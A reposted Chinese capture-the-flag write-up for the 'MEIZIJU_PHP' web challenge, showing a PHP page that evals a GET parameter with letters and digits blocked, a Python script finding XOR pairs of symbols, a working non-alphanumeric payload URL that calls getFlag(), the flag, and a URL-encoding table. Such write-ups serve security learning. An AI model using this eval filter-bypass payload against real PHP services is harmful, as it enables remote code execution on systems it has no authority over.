

WEB部分题目writeup

转载

[weixin_30585437](#) 于 2018-08-06 19:23:00 发布 64 收藏

原文链接: <http://www.cnblogs.com/yang12318/p/9432087.html>

版权

MEIZIJU_PHP

题目链接:

<http://202.112.51.184:20001/>

打开网页出现一段PHP代码:



```
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/", $code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
```

代码大意就是如果得到的code不为空则执行下列操作:

如果code长度大于40就显示LONG, 如果code匹配到正则表达式中出现的字符就显示NO, 否则执行code (即若code值正确则可以拿到flag)。

看到下面的hint, 上面显示通过getFlag()函数可以拿到flag, 那么, 我们的目标就是绕过PHP的字符过滤, 在code中执行getFlag()函数。

根据正则表达式, 可以看出所有字母和数字被过滤了, 那么我们就需要将getFlag几个字母通过转换表达。

目前想到一种较为麻烦的:

```
1 # -*- coding:utf-8 -*-
2 list=['
','*','~','(',')','$','@','!','%','&',',','_','=','{','}','[','?','\\','/','.',',','\',';',':','<','>','+','-','^','`','|','.',',',';']
3 for i in range(len(list)):
4     for j in range(len(list)):
5         str=chr(ord(list[i])^ord(list[j]))
6         if(str=='a'):
7             print list[i],list[j]
8             break;
9
10 print 'OK'
```

然后随便选一组贴在网址后面, 如:

http://202.112.51.184:20001/?code=\$_=(%27][%2B:@_%3C%27^%27:%3E_|,%3E[%27);\$_());

(网页自动转义了)，则可以得到flag:

FLAG{Php_zezeze}



需要注意的是，通过脚本得到的一些字符是URL保留字，需要再换种方式表示：

URL中的保留字

特殊字符代表含义替换内容

+ URL 中+号表示空格 %2B

空格 URL中的空格可以用+号或者编码 %20

/ 分隔目录和子目录 %2F

? 分隔实际的URL和参数 %3F

% 指定特殊字符 %25

表示书签 %23

& URL 中指定的参数间的分隔符 %26

= URL 中指定参数的值 %3D

转载于:<https://www.cnblogs.com/yang12318/p/9432087.html>



[创作打卡挑战赛](#)

[赢取流量/现金/CSDN周边激励大奖](#)